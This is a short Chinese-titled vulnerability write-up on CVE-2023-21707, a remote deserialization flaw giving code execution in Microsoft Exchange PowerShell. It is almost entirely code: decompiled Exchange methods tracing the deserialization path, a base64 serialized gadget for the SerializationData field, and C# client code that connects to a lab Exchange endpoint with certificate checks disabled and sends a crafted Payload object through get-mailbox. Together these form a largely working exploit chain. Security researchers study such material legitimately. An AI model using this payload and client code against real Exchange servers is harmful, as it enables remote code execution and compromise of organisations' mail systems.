Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

//System.Management.Automation.InternalDeserializer.ReadOneObject()internal object ReadOneObject(out string streamName){    //...    Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable); //[1]    if (null != targetTypeForDeserialization)    {        Exception ex = null;        try        {            object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable); //[2]        }    //...}

public override object ConvertFrom(object sourceValue, Type destinationType, IFormatProvider formatProvider, bool ignoreCase){    return this.DeserializeObject(sourceValue, destinationType); //[3]}private object DeserializeObject(object sourceValue, Type destinationType){    if (!this.CanConvert(sourceValue, destinationType, out array, out text, out ex)) //[4]    {        throw ex;    }    //...    using (MemoryStream memoryStream = new MemoryStream(array))    {        AppDomain.CurrentDomain.AssemblyResolve += SerializationTypeConverter.AssemblyHandler;        try        {            int tickCount = Environment.TickCount;            obj = this.Deserialize(memoryStream); //[5]        //...}private bool CanConvert(object sourceValue, Type destinationType, out byte[] serializationData, out string stringValue, out Exception error){    PSObject psobject = sourceValue as PSObject;    //...    object value = psobject.Properties["SerializationData"].Value; //[6]    if (!(value is byte[]))    {        error = new NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));        return false;    }    //...    stringValue = psobject.ToString();    serializationData = value as byte[];    }        internal object Deserialize(MemoryStream stream){    bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);    return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream); //[7]}

<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>

GenericSidIdentity    ClientSecurityContextIdentity        System.Security.Principal.GenericIdentity            System.Security.Claims.ClaimsIdentity <---

string userName = "john";string password = "";string uri = "http://exchange.lab.local/powershell";PSCredential remoteCredential = new PSCredential(userName, ToSecureString(password));WSManConnectionInfo wsmanConnectionInfo = new WSManConnectionInfo(uri, "http://schemas.microsoft.com/powershell/Microsoft.Exchange", credentials);
wsmanConnectionInfo.AuthenticationMechanism = this.authType;wsmanConnectionInfo.MaximumConnectionRedirectionCount = 5;wsmanConnectionInfo.SkipCACheck = true;wsmanConnectionInfo.SkipCNCheck = true;
this.runspace = RunspaceFactory.CreateRunspace(wsmanConnectionInfo);this.runspace.Open();

object payload = new Payload();using (PowerShell powerShell = PowerShell.Create()){    powerShell.Runspace = this.runspace;    powerShell.AddCommand("get-mailbox");    powerShell.AddArgument(payload);    powerShell.Invoke();}

using System;public class Payload: Exception{    private byte[] _serializationData;
    public byte[] SerializationData    {        get => _serializationData;        set => _serializationData = value;    }
    public Payload(byte[] serializationData)    {        SerializationData = serializationData;    }}